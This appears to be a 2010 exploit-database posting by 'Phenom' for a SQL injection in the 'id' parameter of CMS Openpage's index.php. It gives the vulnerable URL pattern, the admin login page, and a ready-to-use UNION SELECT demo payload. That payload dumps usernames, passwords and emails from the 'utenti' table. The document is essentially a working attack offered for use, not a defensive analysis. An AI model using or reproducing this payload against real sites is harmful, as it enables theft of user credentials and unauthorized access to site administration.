36 lines
No EOL
870 B
Text
36 lines
No EOL
870 B
Text
====================================================
|
|
CMS Openpage (index.php) SQL Injection Vulnerability
|
|
====================================================
|
|
|
|
[+] Discovered by: Phenom
|
|
[+] My id: http://inj3ct0r.com/author/2157
|
|
[+] Original: http://inj3ct0r.com/exploits/9666
|
|
|
|
# Exploit Title: CMS Openpage (index.php) SQL Injection Vulnerability
|
|
# Tested on: windows xp sp3
|
|
# Code :
|
|
|
|
>>[Author] = Phenom
|
|
|
|
>>[CMS] = CMS Openpage
|
|
|
|
>>[Dork] = I hate script kiddies
|
|
|
|
>>[Date] = 2010-03-22
|
|
|
|
|
|
>>[Exploit] :
|
|
|
|
[Bug] = [index.php?pagina=news&id=]
|
|
|
|
[Usage] = http://www.site/index.php?pagina=news&id=[SQL Injection]
|
|
|
|
[Login] = http://site/index_priv.php
|
|
|
|
|
|
>>[Demo] :
|
|
|
|
[+] http://[site]/index.php?pagina=news&id=-5+union+select+1,group_concat%28concat%28username,0x3a,password,0x3a,email%29%20separator%200x3c62723e%29,3,4,5,6,7,8,9,10+from+utenti--
|
|
|
|
|
|
# Inj3ct0r.com [2010-03-22] |